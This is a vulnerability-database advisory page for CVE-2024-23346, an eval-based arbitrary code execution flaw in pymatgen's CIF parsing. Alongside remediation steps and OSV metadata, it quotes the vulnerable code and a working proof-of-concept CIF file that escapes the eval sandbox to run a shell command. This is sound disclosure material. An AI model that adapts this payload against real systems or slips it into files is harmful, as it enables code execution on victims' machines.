Vulnerabilities in pkg:pypi/pymatgen

PACKAGE
Advisory Identifier: GHSA-vgv8-5cpj-qj2f
Advisory Summary

CVE-2024-23346 is a CRITICAL (CVSS 9.3) pymatgen vulnerable to arbitrary code vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Pymatgen libraries in the PyPI ecosystem. The issue involves pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted jonesfaithfultransformation transformation_string. Remediation is available by upgrading affected packages to version 2024.2.20.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/pymatgen

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/pymatgen. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-vgv8-5cpj-qj2f CVE-2024-23346 CRITICAL pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
GHSA-5jqp-885w-xj32 CVE-2022-42964 MODERATE pymatgen is vulnerable to Regular Expression Denial of Service (ReDoS)

CVE-2024-23346 at a Glance

CVE Identifier CVE-2024-23346
GHSA Identifier GHSA-vgv8-5cpj-qj2f
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product Pymatgen
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-23346

To remediate this vulnerability, upgrade all affected Pymatgen dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pymatgen fixed: 2024.2.20
pip install pymatgen>=2024.2.20
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pymatgen

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-23346, inspect your installed packages using pip:

pip show pymatgen

Analyze the terminal output to locate any version of Pymatgen in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2024.2.20), your application is affected.

Note: The pip show pymatgen command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Pymatgen, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file. ### Details The cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`. #### Vulnerable code ```py basis_change = [ re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X) for string in basis_change ] """snip""" ([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change]) ``` The use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal. ### PoC The vulnerability can be exploited as follows: Create a file `vuln.cif` with the following contents: ``` data_5yOhtAoR _audit_creation_date 2018-06-08 _audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit" loop_ _parent_propagation_vector.id _parent_propagation_vector.kxkykz k1 [0 0 0] _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0' _space_group_magn.number_BNS 62.448 _space_group_magn.name_BNS "P n' m a' " ``` Then, parse the cif file with the following code: ```py from pymatgen.io.cif import CifParser parser = CifParser("vuln.cif") structure = parser.parse_structures() ``` ### Credits This vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).

CVE-2024-23346 Affected Pymatgen Versions

1 component(s)
Fixed Versions:
2024.2.20
Product / Package Ecosystem Affected Versions Fixed Version
pymatgen
PyPI
< 2024.2.20
2024.2.20

References

Frequently Asked Questions

What is CVE-2024-23346?
CVE-2024-23346 is a security vulnerability in Pymatgen involving pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Pymatgen versions are affected?
Affected versions include releases prior to 2024.2.20 across affected packages: pymatgen.
What version fixes CVE-2024-23346?
Upgrading to 2024.2.20 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pymatgen affected?
Yes, pymatgen is affected in releases prior to 2024.2.20. Upgrade your dependency to 2024.2.20 or later.
What is the CVSS score of CVE-2024-23346?
CVE-2024-23346 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2024-23346?
CVE-2024-23346 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2024-23346?
Run the dependency tree command: 'pip show pymatgen'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vgv8-5cpj-qj2f",
  "modified" : "2025-02-06T18:06:29Z",
  "published" : "2024-02-21T18:04:00Z",
  "aliases" : [ "CVE-2024-23346" ],
  "summary" : "pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string",
  "details" : "### Summary\nA critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.\n\n### Details\nThe cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.\n\n#### Vulnerable code\n\n```py\nbasis_change = [\n    re.sub(r\"(?<=\\w|\\))(?=\\() | (?<=\\))(?=\\w) | (?<=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n    for string in basis_change\n]\n\"\"\"snip\"\"\"\n([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n```\n\nThe use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.\n\n### PoC\n\nThe vulnerability can be exploited as follows:\n\nCreate a file `vuln.cif` with the following contents:\n\n```\ndata_5yOhtAoR\n_audit_creation_date            2018-06-08\n_audit_creation_method          \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0'\n\n\n_space_group_magn.number_BNS  62.448\n_space_group_magn.name_BNS  \"P  n'  m  a'  \"\n```\n\nThen, parse the cif file with the following code:\n```py\nfrom pymatgen.io.cif import CifParser\nparser = CifParser(\"vuln.cif\")\nstructure = parser.parse_structures()\n```\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pymatgen"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2024.2.20"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-23346"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/materialsproject/pymatgen"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pymatgen/PYSEC-2024-226.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-02-21T18:04:00Z",
    "nvd_published_at" : "2024-02-21T17:15:09Z"
  }
}